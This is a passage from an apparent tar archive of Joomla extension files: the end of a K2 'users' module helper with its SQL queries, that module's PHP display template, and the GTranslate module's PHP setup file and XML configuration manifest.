                    $query .= " GROUP BY users.id ORDER BY counter DESC";
                    break;

                // With most popular items
                case 2:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*, MAX(i.hits) AS counter
                        FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                        LEFT JOIN #__k2_items AS i ON users.id=i.created_by
                        LEFT JOIN #__k2_categories AS c ON i.catid=c.id
                        WHERE users.block=0
                            AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY users.id ORDER BY counter DESC";
                    break;

                // With most commented items
                case 3:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*, COUNT(comment.id) AS counter
                        FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                        LEFT JOIN #__k2_items AS i ON users.id=i.created_by
                        LEFT JOIN #__k2_categories AS c ON i.catid=c.id
                        LEFT JOIN #__k2_comments AS comment ON i.id=comment.itemID
                        WHERE users.block=0
                            AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY users.id ORDER BY counter DESC";
                    break;
            }

            $db->setQuery($query, 0, $params->get('limit', 4));
            $userObjects = $db->loadObjectList();
        }

        // Render the query results
        if (count($userObjects)) {
            foreach ($userObjects as $userObject) {
                $userObject->avatar = K2HelperUtilities::getAvatar($userObject->UID, $userObject->email, $params->get('userImageWidth'));
                $userObject->link = JRoute::_(K2HelperRoute::getUserRoute($userObject->UID));
                $userObject->feed = JRoute::_(K2HelperRoute::getUserRoute($userObject->UID).'&format=feed');
                $userObject->url = htmlspecialchars($userObject->url, ENT_QUOTES, 'UTF-8');

                if ($params->get('userItemCount')) {
                    $query = "SELECT i.*, c.name AS categoryname, c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams
                        FROM #__k2_items AS i
                        LEFT JOIN #__k2_categories AS c ON c.id = i.catid
                        WHERE i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by=".(int)$userObject->UID."
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY i.id ORDER BY i.created DESC";

                    $db->setQuery($query, 0, $params->get('userItemCount'));
                    $userObject->items = $db->loadObjectList();

                    if (count($userObject->items)) {
                        foreach ($userObject->items as $item) {
                            $link = K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($item->categoryalias));
                            $item->link = urldecode(JRoute::_($link));
                            $item->categoryLink = urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($item->catid.':'.urlencode($item->categoryalias))));
                        }
                    }
                } else {
                    $userObject->items = null;
                }
            }
        }
        return $userObjects;
    }
}
mod_k2_users/tmpl/Default/default.php000060400000006753150746170550013656 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2UsersBlock<?php if ($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <ul>
        <?php foreach($users as $key=>$user): ?>
        <li class="<?php echo ($key%2) ? "odd" : "even"; if (count($users)==$key+1) echo ' lastItem'; ?>">
            <?php if ($userAvatar && !empty($user->avatar)): ?>
            <a class="k2Avatar ubUserAvatar" rel="author" href="<?php echo $user->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>">
                <img src="<?php echo $user->avatar; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <?php if ($userName): ?>
            <a class="ubUserName" rel="author" href="<?php echo $user->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>">
                <?php echo $user->name; ?>
            </a>
            <?php endif; ?>

            <?php if ($userDescription && $user->description): ?>
            <div class="ubUserDescription">
                <?php if ($userDescriptionWordLimit): ?>
                <?php echo K2HelperUtilities::wordLimit($user->description, $userDescriptionWordLimit) ?>
                <?php else: ?>
                <?php echo $user->description; ?>
                <?php endif; ?>
            </div>
            <?php endif; ?>

            <?php if ($userFeed || ($userURL && $user->url) || $userEmail): ?>
            <div class="ubUserAdditionalInfo">
                <?php if ($userFeed): ?>
                <!-- RSS feed icon -->
                <a class="ubUserFeedIcon" href="<?php echo $user->feed; ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_USERS_RSS_FEED'); ?>">
                    <span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_USERS_RSS_FEED'); ?></span>
                </a>
                <?php endif; ?>

                <?php if ($userURL && $user->url): ?>
                <a class="ubUserURL" rel="me" href="<?php echo $user->url; ?>" title="<?php echo JText::_('K2_WEBSITE'); ?>" target="_blank">
                    <span><?php echo JText::_('K2_WEBSITE'); ?></span>
                </a>
                <?php endif; ?>

                <?php if ($userEmail): ?>
                <span class="ubUserEmail" title="<?php echo JText::_('K2_EMAIL'); ?>">
                    <?php echo JHTML::_('Email.cloak', $user->email); ?>
                </span>
                <?php endif; ?>
            </div>
            <?php endif; ?>

            <?php if ($userItemCount && count($user->items)): ?>
            <h3><?php echo JText::_('K2_RECENT_ITEMS'); ?></h3>
            <ul class="ubUserItems">
                <?php foreach ($user->items as $item): ?>
                <li>
                    <a href="<?php echo $item->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($item->title); ?>">
                        <?php echo $item->title; ?>
                    </a>
                </li>
                <?php endforeach; ?>
            </ul>
            <?php endif; ?>

            <div class="clr"></div>
        </li>
        <?php endforeach; ?>
    </ul>
</div>
mod_gtranslate/mod_gtranslate.php000060400000011422150746170550013271 0ustar00<?php
/**
* @version   $Id: mod_gtranslate.php 167 2012-10-26 19:28:57Z edo888 $
* @package   GTranslate
* @copyright Copyright (C) 2008-2016 Edvard Ananyan. All rights reserved.
* @license   GNU/GPL v3 http://www.gnu.org/licenses/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

require_once (dirname(__FILE__).'/helper.php');

$params = modGTranslateHelper::getParams($params);

$method = $params->get('method');
$load_jquery = $params->get('load_jquery');
$look = $params->get('look');
$flag_size = $params->get('flag_size');
$orientation = $params->get('orientation');
$pro_version = $params->get('pro_version');
$enterprise_version = $params->get('enterprise_version');
$native_language_names = $params->get('native_language_names');
$new_tab = $params->get('new_tab');
$analytics = $params->get('analytics');
$language = $params->get('language');
$show_en = $params->get('show_en');
$show_ar = $params->get('show_ar');
$show_bg = $params->get('show_bg');
$show_zhCN = $params->get('show_zh-CN');
$show_zhTW = $params->get('show_zh-TW');
$show_hr = $params->get('show_hr');
$show_cs = $params->get('show_cs');
$show_da = $params->get('show_da');
$show_nl = $params->get('show_nl');
$show_fi = $params->get('show_fi');
$show_fr = $params->get('show_fr');
$show_de = $params->get('show_de');
$show_el = $params->get('show_el');
$show_hi = $params->get('show_hi');
$show_it = $params->get('show_it');
$show_ja = $params->get('show_ja');
$show_ko = $params->get('show_ko');
$show_no = $params->get('show_no');
$show_pl = $params->get('show_pl');
$show_pt = $params->get('show_pt');
$show_ro = $params->get('show_ro');
$show_ru = $params->get('show_ru');
$show_es = $params->get('show_es');
$show_sv = $params->get('show_sv');
$show_ca = $params->get('show_ca');
$show_tl = $params->get('show_tl');
$show_iw = $params->get('show_iw');
$show_id = $params->get('show_id');
$show_lv = $params->get('show_lv');
$show_lt = $params->get('show_lt');
$show_sr = $params->get('show_sr');
$show_sk = $params->get('show_sk');
$show_sl = $params->get('show_sl');
$show_uk = $params->get('show_uk');
$show_vi = $params->get('show_vi');
$show_sq = $params->get('show_sq');
$show_et = $params->get('show_et');
$show_gl = $params->get('show_gl');
$show_hu = $params->get('show_hu');
$show_mt = $params->get('show_mt');
$show_th = $params->get('show_th');
$show_tr = $params->get('show_tr');
$show_fa = $params->get('show_fa');
$show_af = $params->get('show_af');
$show_ms = $params->get('show_ms');
$show_sw = $params->get('show_sw');
$show_ga = $params->get('show_ga');
$show_cy = $params->get('show_cy');
$show_be = $params->get('show_be');
$show_is = $params->get('show_is');
$show_mk = $params->get('show_mk');
$show_yi = $params->get('show_yi');
$show_hy = $params->get('show_hy');
$show_az = $params->get('show_az');
$show_eu = $params->get('show_eu');
$show_ka = $params->get('show_ka');
$show_ht = $params->get('show_ht');
$show_ur = $params->get('show_ur');

// 2014-03-26 languages
$show_bn = $params->get('show_bn');
$show_bs = $params->get('show_bs');
$show_ceb = $params->get('show_ceb');
$show_eo = $params->get('show_eo');
$show_gu = $params->get('show_gu');
$show_ha = $params->get('show_ha');
$show_hmn = $params->get('show_hmn');
$show_ig = $params->get('show_ig');
$show_jw = $params->get('show_jw');
$show_kn = $params->get('show_kn');
$show_km = $params->get('show_km');
$show_lo = $params->get('show_lo');
$show_la = $params->get('show_la');
$show_mi = $params->get('show_mi');
$show_mr = $params->get('show_mr');
$show_mn = $params->get('show_mn');
$show_ne = $params->get('show_ne');
$show_pa = $params->get('show_pa');
$show_so = $params->get('show_so');
$show_ta = $params->get('show_ta');
$show_te = $params->get('show_te');
$show_yo = $params->get('show_yo');
$show_zu = $params->get('show_zu');

// 2016-02-15 languages
$show_my = $params->get('show_my');
$show_ny = $params->get('show_ny');
$show_kk = $params->get('show_kk');
$show_mg = $params->get('show_mg');
$show_ml = $params->get('show_ml');
$show_si = $params->get('show_si');
$show_st = $params->get('show_st');
$show_su = $params->get('show_su');
$show_tg = $params->get('show_tg');
$show_uz = $params->get('show_uz');

// 2016-02-21
$show_am = $params->get('show_am');
$show_co = $params->get('show_co');
$show_haw = $params->get('show_haw');
$show_ku = $params->get('show_ku');
$show_ky = $params->get('show_ky');
$show_lb = $params->get('show_lb');
$show_ps = $params->get('show_ps');
$show_sm = $params->get('show_sm');
$show_gd = $params->get('show_gd');
$show_sn = $params->get('show_sn');
$show_sd = $params->get('show_sd');
$show_fy = $params->get('show_fy');
$show_xh = $params->get('show_xh');

$main_url = $_SERVER['HTTP_HOST'];

if($_SERVER['SERVER_PORT'] != '80')
    $main_url = substr($main_url, 0, strpos($main_url, ':'));

require(JModuleHelper::getLayoutPath('mod_gtranslate'));mod_gtranslate/mod_gtranslate.xml000060400000133533150746170550013312 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.4" client="site" method="upgrade">
    <name>GTranslate</name>
    <author>Edvard Ananyan</author>
    <creationDate>September 2010</creationDate>
    <copyright>Copyright (C) 2008 - 2017 Edvard Ananyan. All rights reserved.</copyright>
    <license>GNU/GPL v3 http://www.gnu.org/licenses/gpl.html</license>
    <authorEmail>edo888@gmail.com</authorEmail>
    <authorUrl>https://gtranslate.io</authorUrl>
    <version>3.7.4</version>
    <description>
    <![CDATA[
    <span style='font-weight:normal;text-align:left;font-size:120%;line-height:1.5;'>
    <p>GTranslate - Makes your website multilingual and available to the world.</p>
    <p><i>Ugrade your <a href="https://gtranslate.io/?xyz=997#pricing" target="_blank">GTranslate</a> to a paid plan and enable the following features:</i></p>
    <ul>
        <li><strong>Enable search engine indexing</strong> - Search engines will index your translated pages which will increase international traffic.</li>
        <li><strong>Neural machine translations</strong> - Human level translation quality.</li>
        <li><strong>Search engine friendly</strong> - The URL will change depending on a selected language e.g. <b>es.domain.com</b> or <b>domain.com/es/</b> for Spanish.</li>
        <li><strong>Meta data translation</strong> - Meta keywords and description will be translated which will increase translated keywords ranking in the search engines.</li>
        <li><strong>Ability to edit translations</strong> - You will be able to edit the translated texts directly from the front-end.</li>
        <li><strong>Cache support</strong> - Translations will be cached and make your translated pages to load faster.</li>
        <li><strong><a href="https://gtranslate.io/#faq" target="_blank">Translation Delivery Network</a></strong> - The translations will be delivered by our cloud network. No software is installed on your server.</li>
        <li><strong>Centralized translation cache</strong> - The quality of the translations cache will improve over time by using crowd sourced and professional translations.</li>
        <li><strong>Seamless updates</strong> - We care about further updates. You just enjoy the up to date service every day.</li>
        <li><strong>URL Translation</strong> - The URL will be translated which is very important for multilingual SEO.</li>
        <li><strong>Ability to edit translated URLs</strong> - You will be able to change the translated URL manually.</li>
        <li><strong>Language hosting</strong> - Host your language on top level country domain name to rank higher on local search engines results (ccTLD <b>domain.es</b>).</li>
    </ul>

    <p><a href='https://gtranslate.io/?xyz=997#pricing' target='_blank' class='btn btn-large btn-success'><i class='icon-info-2'></i> Plans &amp; Pricing</a> &nbsp; <a href='https://gtranslate.io/?xyz=997#faq' target='_blank' class='btn btn-large btn-primary'><i class='icon-info'></i> FAQ</a> &nbsp; <a href='https://gtranslate.io/docs/54-joomla-module-documentation' target='_blank' class='btn btn-large btn-info'><i class='icon-support'></i> Documentation</a> &nbsp; <a href='http://extensions.joomla.org/extensions/extension/languages/automatic-translations/gtranslate#reviews' target='_blank' class='btn btn-large btn-warning'><i class='icon-comments'></i> Reviews</a></p>
    <p><b>Version: 3.7.4</b><br/>Copyright &copy; 2008 - 2017 Edvard Ananyan, All rights reserved. <a href='https://gtranslate.io/?xyz=997' target='_blank'><b>http://gtranslate.io</b></a></p>
    </span>
    ]]>
    </description>

    <updateservers>
        <server type="extension" name="GTranslate" priority="1">http://gtranslate.net/downloads/gtranslate.xml</server>
    </updateservers>

    <files>
        <filename module="mod_gtranslate">mod_gtranslate.php</filename>
        <filename>helper.php</filename>
        <filename>index.html</filename>
        <folder>tmpl</folder>
        <folder>field</folder>
    </files>

    <config>
        <fields name="params">
            <fieldset name="basic">
                <field name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="A suffix to be applied to the css class of the module (table.moduletable), this allows individual module styling" />
                <field name="look" type="list" default="dropdown_with_flags" label="Look" description="The way it will appear in your site">
                    <option value="both">Flags and Dropdown</option>
                    <option value="flags">Flags</option>
                    <option value="dropdown">Drop down list</option>
                    <option value="dropdown_with_flags">Nice dropdown with flags</option>
                    <option value="flags_name">Flags with language name</option>
                    <option value="flags_code">Flags with language code</option>
                    <option value="lang_names">Language names</option>
                    <option value="lang_codes">Language codes</option>
                    <option value="popup">(beta) Popup</option>
                </field>
                <field name="language" type="list" default="en" label="Site Language" description="Your site's native language">
                    <option value="af">Afrikaans</option>
                    <option value="sq">Albanian</option>
                    <option value="ar">Arabic</option>
                    <option value="hy">Armenian</option>
                    <option value="az">Azerbaijani</option>
                    <option value="eu">Basque</option>
                    <option value="be">Belarusian</option>
                    <option value="bg">Bulgarian</option>
                    <option value="ca">Catalan</option>
                    <option value="zh-CN">Chinese (Simplified)</option>
                    <option value="zh-TW">Chinese (Traditional)</option>
                    <option value="hr">Croatian</option>
                    <option value="cs">Czech</option>
                    <option value="da">Danish</option>
                    <option value="nl">Dutch</option>
                    <option value="en">English</option>
                    <option value="et">Estonian</option>
                    <option value="tl">Filipino</option>
                    <option value="fi">Finnish</option>
                    <option value="fr">French</option>
                    <option value="gl">Galician</option>
                    <option value="ka">Georgian</option>
                    <option value="de">German</option>
                    <option value="el">Greek</option>
                    <option value="ht">Haitian Creole</option>
                    <option value="iw">Hebrew</option>
                    <option value="hi">Hindi</option>
                    <option value="hu">Hungarian</option>
                    <option value="is">Icelandic</option>
                    <option value="id">Indonesian</option>
                    <option value="ga">Irish</option>
                    <option value="it">Italian</option>
                    <option value="ja">Japanese</option>
                    <option value="ko">Korean</option>
                    <option value="lv">Latvian</option>
                    <option value="lt">Lithuanian</option>
                    <option value="mk">Macedonian</option>
                    <option value="ms">Malay</option>
                    <option value="mt">Maltese</option>
                    <option value="no">Norwegian</option>
                    <option value="fa">Persian</option>
                    <option value="pl">Polish</option>
                    <option value="pt">Portuguese</option>
                    <option value="ro">Romanian</option>
                    <option value="ru">Russian</option>
                    <option value="sr">Serbian</option>
                    <option value="sk">Slovak</option>
                    <option value="sl">Slovenian</option>
                    <option value="es">Spanish</option>
                    <option value="sw">Swahili</option>
                    <option value="sv">Swedish</option>
                    <option value="th">Thai</option>
                    <option value="tr">Turkish</option>
                    <option value="uk">Ukrainian</option>
                    <option value="ur">Urdu</option>
                    <option value="vi">Vietnamese</option>
                    <option value="cy">Welsh</option>
                    <option value="yi">Yiddish</option>
                    <!-- 2014-03-26 languages -->
                    <option value="bn">Bengali</option>
                    <option value="bs">Bosnian</option>
                    <option value="ceb">Cebuano</option>
                    <option value="eo">Esperanto</option>
                    <option value="gu">Gujarati</option>
                    <option value="ha">Hausa</option>
                    <option value="hmn">Hmong</option>
                    <option value="ig">Igbo</option>
                    <option value="jw">Javanese</option>
                    <option value="kn">Kannada</option>
                    <option value="km">Khmer</option>
                    <option value="lo">Lao</option>
                    <option value="la">Latin</option>
                    <option value="mi">Maori</option>
                    <option value="mr">Marathi</option>
                    <option value="mn">Mongolian</option>
                    <option value="ne">Nepali</option>
                    <option value="pa">Punjabi</option>
                    <option value="so">Somali</option>
                    <option value="ta">Tamil</option>
                    <option value="te">Telugu</option>
                    <option value="yo">Yoruba</option>
                    <option value="zu">Zulu</option>
                    <!-- 2016-02-15 languages -->
                    <option value="my">Myanmar (Burmese)</option>
                    <option value="ny">Chichewa</option>
                    <option value="kk">Kazakh</option>
                    <option value="mg">Malagasy</option>
                    <option value="ml">Malayalam</option>
                    <option value="si">Sinhala</option>
                    <option value="st">Sesotho</option>
                    <option value="su">Sudanese</option>
                    <option value="tg">Tajik</option>
                    <option value="uz">Uzbek</option>
                    <!-- 2016-02-21 languages -->
                    <option value="am">Amharic</option>
                    <option value="co">Corsican</option>
                    <option value="haw">Hawaiian</option>
                    <option value="ku">Kurdish (Kurmanji)</option>
                    <option value="ky">Kyrgyz</option>
                    <option value="lb">Luxembourgish</option>
                    <option value="ps">Pashto</option>
                    <option value="sm">Samoan</option>
                    <option value="gd">Scottish Gaelic</option>
                    <option value="sn">Shona</option>
                    <option value="sd">Sindhi</option>
                    <option value="fy">Frisian</option>
                    <option value="xh">Xhosa</option>
                </field>
                <field name="pro_version" type="radio" class="btn-group" default="0" label="Sub-directory URL Structure *" description="Example: http://example.com/ru/. This feature is available only in paid plans: https://gtranslate.io/#pricing">
                    <option value="0">Off</option>
                    <option value="1">On</option>
                </field>
                <field name="enterprise_version" type="radio" class="btn-group" default="0" label="Sub-domain URL Structure *" description="Example: http://ru.example.com. This feature is available only in paid plans: https://gtranslate.io/#pricing">
                    <option value="0">Off</option>
                    <option value="1">On</option>
                </field>
                <field name="paid" type="note" label="* paid feature" class="alert alert-info" description="Upgrade your GTranslate to a paid plan to use this feature and get SEO benefits." />

                <field name="flag_size" type="radio" class="btn-group" default="16" label="Flag size" description="Size of the language flags">
                    <option value="16">16px</option>
                    <option value="24">24px</option>
                    <option value="32">32px</option>
                    <option value="48">48px</option>
                </field>
                <field name="native_language_names" type="radio" class="btn-group" default="0" label="Show native language names" description="Display language name in native alphabet.">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="new_tab" type="radio" class="btn-group" default="0" label="Open translation in new tab" description="Opens translated page in new window. Works with Sub-directory or Sub-domain URL structure only.">
                    <option value="0">Off</option>
                    <option value="1">On</option>
                </field>
                <field name="analytics" type="radio" class="btn-group" default="0" label="Analytics" description="If you have Google Analytics code on your site, you can enable this which will allow you to see translation events in Google Analytics -&gt; Events.">
                    <option value="0">Off</option>
                    <option value="1">On</option>
                </field>

                <field name="show_af" type="radio" class="btn-group" default="1" label="Show Afrikaans" description="Show Afrikaans in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_sq" type="radio" class="btn-group" default="1" label="Show Albanian" description="Show Albanian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ar" type="radio" class="btn-group" default="1" label="Show Arabic" description="Show Arabic in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_hy" type="radio" class="btn-group" default="1" label="Show Armenian" description="Show Armenian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_az" type="radio" class="btn-group" default="1" label="Show Azerbaijani" description="Show Azerbaijani in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_eu" type="radio" class="btn-group" default="1" label="Show Basque" description="Show Basque in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_be" type="radio" class="btn-group" default="1" label="Show Belarusian" description="Show Belarusian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_bg" type="radio" class="btn-group" default="1" label="Show Bulgarian" description="Show Bulgarian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ca" type="radio" class="btn-group" default="1" label="Show Catalan" description="Show Catalan in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_zh-CN" type="radio" class="btn-group" default="1" label="Show Chinese (Simplified)" description="Show Chinese (Simplified) in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_zh-TW" type="radio" class="btn-group" default="1" label="Show Chinese (Traditional)" description="Show Chinese (Traditional) in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                        <field name="show_hr" type="radio" class="btn-group" default="1" label="Show Croatian" description="Show Croatian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_cs" type="radio" class="btn-group" default="1" label="Show Czech" description="Show Czech in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_da" type="radio" class="btn-group" default="1" label="Show Danish" description="Show Danish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_nl" type="radio" class="btn-group" default="1" label="Show Dutch" description="Show Dutch in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_en" type="radio" class="btn-group" default="2" label="Show English" description="Show English in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As GB flag</option>
                    <option value="3">As USA flag</option>
                    <option value="4">As Canada flag</option>
                </field>
                <field name="show_et" type="radio" class="btn-group" default="1" label="Show Estonian" description="Show Estonian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_tl" type="radio" class="btn-group" default="1" label="Show Filipino" description="Show Filipino in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_fi" type="radio" class="btn-group" default="1" label="Show Finnish" description="Show Finnish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_fr" type="radio" class="btn-group" default="2" label="Show French" description="Show French in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As France flag</option>
                    <option value="3">As Quebec flag</option>
                </field>
                <field name="show_gl" type="radio" class="btn-group" default="1" label="Show Galician" description="Show Galician in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                        <field name="show_ka" type="radio" class="btn-group" default="1" label="Show Georgian" description="Show Georgian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_de" type="radio" class="btn-group" default="2" label="Show German" description="Show German in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_el" type="radio" class="btn-group" default="1" label="Show Greek" description="Show Greek in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ht" type="radio" class="btn-group" default="1" label="Show Haitian Creole" description="Show Haitian Creole in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_iw" type="radio" class="btn-group" default="1" label="Show Hebrew" description="Show Hebrew in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_hi" type="radio" class="btn-group" default="1" label="Show Hindi" description="Show Hindi in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_hu" type="radio" class="btn-group" default="1" label="Show Hungarian" description="Show Hungarian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_is" type="radio" class="btn-group" default="1" label="Show Icelandic" description="Show Icelandic in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_id" type="radio" class="btn-group" default="1" label="Show Indonesian" description="Show Indonesian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ga" type="radio" class="btn-group" default="1" label="Show Irish" description="Show Irish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_it" type="radio" class="btn-group" default="2" label="Show Italian" description="Show Italian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ja" type="radio" class="btn-group" default="1" label="Show Japanese" description="Show Japanese in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ko" type="radio" class="btn-group" default="1" label="Show Korean" description="Show Korean in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_lv" type="radio" class="btn-group" default="1" label="Show Latvian" description="Show Latvian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_lt" type="radio" class="btn-group" default="1" label="Show Lithuanian" description="Show Lithuanian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_mk" type="radio" class="btn-group" default="1" label="Show Macedonian" description="Show Macedonian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ms" type="radio" class="btn-group" default="1" label="Show Malay" description="Show Malay in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_mt" type="radio" class="btn-group" default="1" label="Show Maltese" description="Show Maltese in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_no" type="radio" class="btn-group" default="1" label="Show Norwegian" description="Show Norwegian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_fa" type="radio" class="btn-group" default="1" label="Show Persian" description="Show Persian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_pl" type="radio" class="btn-group" default="1" label="Show Polish" description="Show Polish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_pt" type="radio" class="btn-group" default="2" label="Show Portuguese" description="Show Portuguese in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As Portugal flag</option>
                    <option value="3">As Brazil flag</option>
                </field>
                <field name="show_ro" type="radio" class="btn-group" default="1" label="Show Romanian" description="Show Romanian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ru" type="radio" class="btn-group" default="2" label="Show Russian" description="Show Russian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                        <field name="show_sr" type="radio" class="btn-group" default="1" label="Show Serbian" description="Show Serbian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_sk" type="radio" class="btn-group" default="1" label="Show Slovak" description="Show Slovak in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
